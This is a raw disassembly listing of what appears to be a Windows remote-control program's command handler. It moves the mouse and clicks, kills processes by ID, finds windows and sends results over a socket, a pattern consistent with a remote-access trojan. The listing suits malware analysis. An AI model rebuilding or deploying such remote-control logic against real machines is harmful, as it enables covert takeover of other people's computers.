push eax
mov eax, dword [ebp - 0xc]
call fcn.00406164
push eax
call sub.user32.dll_SetCursorPos
push 0
push 0
push 0
push 0
push 2
call sub.user32.dll_mouse_event
push 0
push 0
push 0
push 0
push 4
call sub.user32.dll_mouse_event
jmp case.0x41630b.0
mov eax, dword [ebp - 4]
cmp byte [eax + 3], 0x77
jne 0x41775f
mov eax, dword [0x41d5b4]
mov byte [eax], 1
jmp 0x417767
mov eax, dword [0x41d5b4]
mov byte [eax], 0
mov eax, dword [0x41d674]
push dword [eax]
lea edx, [ebp - 0x98]
mov eax, dword [0x41d574]
mov eax, dword [eax]
call fcn.004061b8
push dword [ebp - 0x98]
push 0x4179c4
lea edx, [ebp - 0x9c]
mov eax, dword [0x41d568]
mov eax, dword [eax]
call fcn.004061b8
push dword [ebp - 0x9c]
mov eax, dword [0x41d674]
mov edx, 4
call fcn.00404078
jmp case.0x41630b.0
lea eax, [ebp - 8]
push eax
mov ecx, 0x7fff
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 8]
call fcn.00406164
push eax
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov edx, dword [0x41d5ec]
mov dword [edx], eax
push 0
mov eax, dword [0x41d5ec]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_TerminateProcess
jmp case.0x41630b.0
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179c4
call fcn.004042a0
mov ecx, eax
sub ecx, 4
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179c4
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 0x7fff
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 8]
call fcn.004041b8
push eax
mov eax, dword [ebp - 0xc]
call fcn.004041b8
push eax
call sub.user32.dll_FindWindowA
call fcn.004075bc
mov eax, dword [0x4201a0]
cmp eax, 0x1b
jge 0x4178d6
cmp eax, 0x18
ja case.0x41786b.2
jmp dword [eax*4 + 0x417872]
cmp eax, 0x7d
jg 0x4178f4
je case.0x41786b.0
add eax, 0xffffffe5
sub eax, 2
jb case.0x41786b.0
add eax, 0xfffffff3
sub eax, 3
jb case.0x41786b.0
sub eax, 0x48
je case.0x41786b.0
jmp case.0x41786b.2
sub eax, 0xf3
je case.0x41786b.0
sub eax, 0x285
je case.0x41786b.0
add eax, 0xffffff92
sub eax, 2
jae case.0x41786b.2
push 0
mov eax, dword [0x41d674]
mov eax, dword [eax]
call fcn.00403fb8
push eax
mov eax, dword [0x41d674]
call fcn.00404210
push eax
mov eax, dword [0x41d660]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_send
call fcn.00408844
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x417975
lea eax, [ebp - 0x9c]
mov edx, 0x14
call fcn.00403e34
lea eax, [ebp - 0x44]
mov edx, 4
call fcn.00403e34
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403e34
ret